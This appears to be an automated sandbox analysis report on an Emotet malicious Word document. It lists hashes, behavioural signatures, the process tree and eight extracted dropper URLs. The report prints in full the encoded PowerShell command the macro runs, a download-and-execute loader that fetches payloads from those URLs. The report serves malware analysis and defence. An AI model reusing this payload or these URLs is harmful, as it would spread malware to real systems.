Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    28s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    08/11/2020, 19:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_2ded110822e0153fbd8d8c157f8f6ca47440730ee4fa093e193eb720789b83a6_2020-10-29__185118150317._doc.doc
  • Size 239KB
  • Sample201108-pgtxl9xrha
  • SHA256 2ded110822e0153fbd8d8c157f8f6ca47440730ee4fa093e193eb720789b83a6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tuankhoi.com/wp-content/CI2oG/
  • exe.dropper

    https://www.microsystem.fr/newsletters/uITRJ/
  • exe.dropper

    https://natfast.com/wp-content/geeVh/
  • exe.dropper

    https://blog.smyrnaweb.com/cgi-bin/Kzd0vdC/
  • exe.dropper

    https://mhkhardware.com/cgi-bin/Mrn/
  • exe.dropper

    https://ostemeda.lt/wp-content/S/
  • exe.dropper

    https://blog.techforing.com/wp-includes/3XgEg7/
  • exe.dropper

    https://techzslack.com/wp-includes/gSXf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_2ded110822e0153fbd8d8c157f8f6ca47440730ee4fa093e193eb720789b83a6_2020-10-29__185118150317._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1880
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD IAAgACQATABFADUAYgAwAG8AIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewAyAH0AewA0AH0AIgAtAEYAIAAnAE0ALgAnACwAJwB5AHMAVAAnACwAJwBpAG8ALgBkAGkAUgBlAEMAVABPACcALAAnAGUAJwAsACcAUgB5ACcALAAnAFMAJwApACAAIAA7AHMAZQBUACAAZQBoAG8AIAAoACAAIABbAFQAeQBQAEUAXQAoACIAewA3AH0AewA1AH0AewA0AH0AewA2AH0AewAxAH0AewA4AH0AewAyAH0AewAzAH0AewAwAH0AIgAgAC0ARgAnAEEAZwBFAFIAJwAsACcAUwBFAFIAdgAnACwAJwBDAGUAUABPAEkATgBUACcALAAnAG0AQQBOACcALAAnAC4ATgBFACcALAAnAHQAZQBNACcALAAnAHQALgAnACwAJwBzAHkAUwAnACwAJwBpACcAKQAgACkAOwAgACAAJABNADcAaQB2ADYAaQAyAD0AKAAoACcAVgB0AHYAJwArACcAMgAnACkAKwAoACcAaAAnACsAJwBwAHIAJwApACkAOwAkAFoAMQB2AGIAdABuAHkAPQAkAEQAbgBrADIAMgBjAHMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYANABzAGMAdABpADIAOwAkAEYAcQB1AHkAZgBkAHgAPQAoACgAJwBZADQAJwArACcAegAnACkAKwAoACcAbgByACcAKwAnAGMAcQAnACkAKQA7ACAAIAAkAEwARQA1AEIAMABvADoAOgAiAEMAYABSAEUAQQB0AGAARQBEAGkAYABSAGUAYwB0AG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AJwArACgAJwBHAHoAYwBzADgAJwArACcAYgAnACkAKwAnADUAewAwAH0ARQBlAG0AJwArACcAcAB3AHIAcgB7ADAAfQAnACkAIAAtAGYAIABbAGMAaABBAFIAXQA5ADIAKQApADsAJABRADkAbABpAGgAMgBwAD0AKAAnAEoAJwArACcANQAnACsAKAAnAG4AYwAnACsAJwAxAHkAMgAnACkAKQA7ACAAJABlAGgATwA6ADoAIgBzAGUAQwBgAFUAUgBpAFQAeQBgAFAAUgBvAHQAbwBgAEMAYABvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFUAZABzADIANgA1AGsAPQAoACcAVAAnACsAJwBpACcAKwAoACcANAAwAG8AZgAnACsAJwA5ACcAKQApADsAJABVADQANwB1AHAANAB2ACAAPQAgACgAJwBKACcAKwAoACcAMwBwACcAKwAnAHcAOQBzACcAKQApADsAJABNAGIAZQBrAGwAMQB2AD0AKAAoACcARwBiACcAKwAnAGQAJwApACsAJwB1AG8AJwArACcAdgB6ACcAKQA7ACQAVgB4AGsAcwAwADAAcQA9ACgAJwBGACcAKwAnADcAJwArACgAJwBqACcAKwAnAHoAOQBqAGYAJwApACkAOwAkAEMAcwA3AHUAcQA0AHIAPQAkAEgATwBNAEUAKwAoACgAJwAxADYAJwArACgAJwBWAEcAegAnACsAJwBjACcAKQArACgAJwBzADgAJwArACcAYgA1ADEAJwApACsAKAAnADYAVgBFAGUAbQAnACsAJwBwACcAKQArACgAJwB3AHIAcgAnACsAJwAxADYAVgAnACkAKQAtAGMAUgBFAFAAbABBAGMAZQAgACAAKABbAEMAaABBAHIAXQA0ADkAKwBbAEMAaABBAHIAXQA1ADQAKwBbAEMAaABBAHIAXQA4ADYAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABVADQANwB1AHAANAB2ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASAA0AGEAMQAyAHQAMAA9ACgAKAAnAEUANwAnACsAJwB0ADgAJwApACsAJwBsACcAKwAnAHYAdQAnACkAOwAkAFUAZwB3AGcAXwAzAHYAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBsAEkARQBuAFQAOwAkAEwAeABkAGUAaAByAGEAPQAoACgAKAAoACcAaAB0AHQAcAA6AF0AWwAgADEAKQAnACsAJwAgAGoAagBrAGcAUwAgAFsAJwArACcAXQAnACsAJwAgACcAKQApACsAKAAoACcAWwBdAHcAXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwBdACAAWwBdAHcAdAB1AGEAbgBrACcAKwAnAGgAbwBpAC4AYwBvAG0AXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAWwBdACAAWwBdAHcAdwBwACcAKwAnAC0AYwBvAG4AdABlAG4AJwArACcAdABdACcAKwAnAFsAIAAnACsAJwAxACcAKwAnACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAJwArACcAIABbAF0AJwArACcAIAAnACsAJwBbAF0AdwBDAEkAJwArACcAMgAnACsAJwBvAEcAJwArACcAXQBbACAAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwBdACcAKwAnACAAWwBdAHcAQABoAHQAdABwACcAKwAnAHMAOgBdACcAKwAnAFsAIAAxACcAKwAnACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAIABbAF0AIABbAF0AJwArACcAdwBdACcAKwAnAFsAIAAxACkAIABqAGoAawBnAFMAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgACcAKwAnAFsAXQB3AHcAdwB3AC4AbQBpACcAKwAnAGMAcgBvAHMAJwArACcAeQAnACsAJwBzAHQAZQAnACsAJwBtAC4AZgAnACsAJwByAF0AWwAgACcAKwAnADEAKQAgAGoAagAnACsAJwBrAGcAUwAgAFsAXQAgAFsAXQB3AG4AZQB3AHMAbABlAHQAdABlAHIAcwBdACcAKwAnAFsAIAAxACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwB1ACcAKwAnAEkAJwArACcAVAAnACsAJwBSAEoAJwArACcAXQBbACcAKwAnACAAMQAnACsAJwApACAAagBqACcAKQApACsAKAAoACcAawBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwBAAGgAdAB0AHAAcwA6ACcAKwAnAF0AWwAnACsAJwAgADEAKQAgAGoAagBrAGcAUwAgAFsAXQAgAFsAXQB3AF0AWwAgADEAKQAgAGoAagAnACsAJwBrAGcAUwAnACsAJwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AG4AJwArACcAYQAnACkAKQArACgAKAAnAHQAZgAnACsAJwBhAHMAdAAuAGMAbwBtACcAKwAnAF0AWwAgADEAJwArACcAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAXQAnACsAJwAgAFsAJwArACcAXQB3ACcAKwAnAHcAcAAtACcAKwAnAGMAJwArACcAbwBuAHQAZQAnACsAJwBuAHQAXQBbACAAMQApACAAJwArACcAagAnACsAJwBqACcAKwAnAGsAJwApACkAKwAoACgAJwBnAFMAIAAnACsAJwBbAF0AJwArACcAIAAnACsAJwBbACcAKwAnAF0AJwArACcAdwBnAGUAJwArACcAZQBWAGgAXQAnACsAJwBbACAAMQApACAAJwArACcAagBqAGsAJwArACcAZwBTACAAWwBdACAAWwBdAHcAQABoAHQAJwArACcAdABwAHMAJwArACcAOgBdAFsAIAAxACcAKwAnACkAIABqAGoAawAnACsAJwBnAFMAJwArACcAIAAnACsAJwBbAF0AIABbAF0AJwArACcAdwBdACcAKQApACsAKAAoACcAWwAgACcAKwAnADEAKQAgACcAKwAnAGoAagBrAGcAUwAnACsAJwAgAFsAXQAgAFsAXQB3AGIAbABvACcAKwAnAGcALgAnACsAJwBzAG0AeQByACcAKwAnAG4AYQB3AGUAYgAnACkAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AJwArACcAXQBbACAAMQApACAAagBqAGsAZwBTACAAJwArACcAWwBdACAAWwBdACcAKwAnAHcAJwArACcAYwBnAGkALQAnACsAJwBiAGkAbgAnACsAJwBdACcAKwAnAFsAIAAxACcAKwAnACkAIABqAGoAJwArACcAawAnACsAJwBnAFMAJwArACcAIABbACcAKwAnAF0AIAAnACsAJwBbACcAKwAnAF0AdwBLAHoAJwArACcAZAAwACcAKwAnAHYAZABDAF0AJwArACcAWwAnACsAJwAgADEAKQAnACsAJwAgAGoAagBrAGcAUwAnACsAJwAgAFsAJwArACcAXQAgAFsAXQB3AEAAJwArACcAaAB0AHQAcABzACcAKwAnADoAXQBbACAAMQApACAAagBqAGsAZwBTACAAWwBdACAAJwArACcAWwBdAHcAXQBbACcAKwAnACAAMQApACAAagBqAGsAZwBTACAAJwArACcAWwAnACsAJwBdACAAWwBdAHcAbQAnACsAJwBoAGsAJwArACcAaABhACcAKwAnAHIAZAB3AGEAcgBlAC4AYwBvAG0AXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwBdACcAKQApACsAKAAoACcAIABbAF0AdwBjAGcAaQAnACsAJwAtAGIAaQBuAF0AWwAgADEAKQAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAgAFsAXQAnACsAJwAgAFsAJwArACcAXQAnACsAJwB3AE0AcgAnACsAJwBuAF0AJwApACkAKwAoACgAJwBbACAAMQApACAAJwArACcAagAnACsAJwBqACcAKwAnAGsAZwBTACAAWwBdACAAWwBdAHcAQABoACcAKwAnAHQAdAAnACkAKQArACgAKAAnAHAAJwArACcAcwA6ACcAKwAnAF0AWwAgADEAKQAgAGoAagBrAGcAUwAnACsAJwAgACcAKwAnAFsAXQAgAFsAXQB3AF0AWwAgADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAJwArACcAXQB3AG8AJwArACcAcwB0AGUAbQBlAGQAYQAuAGwAJwArACcAdABdACcAKQApACsAKAAoACcAWwAgADEAKQAgAGoAagBrACcAKwAnAGcAJwArACcAUwAgAFsAXQAnACsAJwAgAFsAXQB3AHcAcAAtAGMAJwArACcAbwBuAHQAJwArACcAZQAnACkAKQArACgAKAAnAG4AdABdAFsAIAAxACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgAFsAXQB3AFMAXQAnACsAJwBbACAAMQApACcAKwAnACAAagBqAGsAJwArACcAZwBTACAAJwArACcAWwAnACsAJwBdACAAWwAnACsAJwBdAHcAQABoAHQAdABwAHMAOgBdACcAKwAnAFsAIAAxACkAIABqAGoAawBnAFMAJwArACcAIABbAF0AJwArACcAIABbAF0AdwBdAFsAIAAnACsAJwAxACkAIABqAGoAawBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwBiAGwAJwArACcAbwBnACcAKwAnAC4AdABlAGMAaABmAG8AcgBpAG4AZwAuACcAKwAnAGMAJwArACcAbwBtACcAKwAnAF0AWwAgACcAKwAnADEAJwArACcAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAXQAgAFsAJwApACkAKwAoACgAJwBdACcAKwAnAHcAdwBwAC0AaQAnACsAJwBuAGMAbAB1ACcAKwAnAGQAZQBzAF0AWwAgACcAKwAnADEAKQAgAGoAagBrAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3ADMAWABnAEUAZwA3AF0AWwAnACsAJwAgADEAKQAgAGoAagAnACsAJwBrAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAXQAnACsAJwB3AEAAJwArACcAaAB0AHQAcABzADoAJwArACcAXQBbACAAMQApACAAagBqAGsAZwBTACAAWwAnACsAJwBdACAAWwBdAHcAXQBbACAAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwAnACkAKQArACgAJwBdACAAWwBdACcAKwAnAHcAdABlAGMAaAAnACsAJwB6AHMAbABhACcAKwAnAGMAJwApACsAKAAnAGsALgBjAG8AJwArACcAbQAnACkAKwAoACgAJwBdAFsAIAAxACkAIABqAGoAawBnACcAKwAnAFMAJwArACcAIABbAF0AIABbAF0AJwArACcAdwB3AHAALQBpAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMAJwArACcAXQAnACkAKQArACgAKAAnAFsAIAAnACsAJwAxACkAIABqAGoAJwArACcAawAnACsAJwBnAFMAIABbAF0AIABbACcAKQApACsAKAAoACcAXQAnACsAJwB3ACcAKwAnAGcAUwBYAGYAXQBbACAAMQAnACsAJwApACcAKwAnACAAagAnACsAJwBqAGsAZwBTACAAWwAnACsAJwBdACcAKQApACsAKAAnACAAJwArACcAWwBdAHcAJwApACkAKQAuACIAcgBlAGAAcABsAEEAQwBlACIAKAAoACgAKAAnAF0AWwAnACsAJwAgADEAJwApACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrAGcAJwArACcAUwAnACkAKwAnACAAJwArACgAJwBbAF0AIAAnACsAJwBbAF0AdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4ACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAAbABgAGkAVAAiACgAJABSADcAdgAwAHkAYQBsACAAKwAgACQAWgAxAHYAYgB0AG4AeQAgACsAIAAkAFAAZABjAHEAcgA3AG8AKQA7ACQAWABxAGoAdwB1ADAAZgA9ACgAKAAnAFIAXwBtACcAKwAnAGMAJwApACsAKAAnAHEAdQAnACsAJwAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABZAGMAawB6AHYAbAA4ACAAaQBuACAAJABMAHgAZABlAGgAcgBhACkAewB0AHIAeQB7ACQAVQBnAHcAZwBfADMAdgAuACIARABPAGAAVwBOAGAAbABvAEEAZABmAGkAbABFACIAKAAkAFkAYwBrAHoAdgBsADgALAAgACQAQwBzADcAdQBxADQAcgApADsAJABJADEAYQBjAHkAaABfAD0AKAAoACcATQBzACcAKwAnAGYAeAAnACkAKwAoACcAcgAnACsAJwB0ADUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQAQwBzADcAdQBxADQAcgApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzACcAKwAnADIAXwAnACkAKwAoACcAUAByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBDAFIAYABFAGAAQQBUAEUAIgAoACQAQwBzADcAdQBxADQAcgApADsAJABOAGEANgBtADAAXwAxAD0AKAAoACcASABqAHkAJwArACcAeQAnACkAKwAnAGkAJwArACcAZABiACcAKQA7AGIAcgBlAGEAawA7ACQATABkADIANwBtAG0AegA9ACgAJwBZAGUAJwArACcAYwA1ACcAKwAoACcAcwA1ACcAKwAnAGcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAdgA5AHQANwBrAG8APQAoACcASAAnACsAKAAnAG0AbwAnACsAJwA5ACcAKQArACgAJwBsAHgAJwArACcAaQAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1256

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1032-0-0x00000000003E2000-0x00000000003E6000-memory.dmp
          Download

          memory/1032-1-0x0000000006080000-0x0000000006084000-memory.dmp
          Download

          memory/1032-2-0x00000000003E2000-0x00000000003E6000-memory.dmp
          Download

          memory/1032-3-0x0000000000426000-0x0000000000428000-memory.dmp
          Download

          memory/1256-4-0x000007FEF5130000-0x000007FEF5B1C000-memory.dmp
          Download

          memory/1256-5-0x0000000001F90000-0x0000000001F91000-memory.dmp
          Download

          memory/1256-6-0x000000001ACD0000-0x000000001ACD1000-memory.dmp
          Download

          memory/1256-7-0x00000000024B0000-0x00000000024B1000-memory.dmp
          Download

          memory/1256-8-0x00000000024E0000-0x00000000024E1000-memory.dmp
          Download

          memory/1256-9-0x000000001C380000-0x000000001C381000-memory.dmp
          Download

          memory/1256-11-0x000000001ABC0000-0x000000001ABC1000-memory.dmp
          Download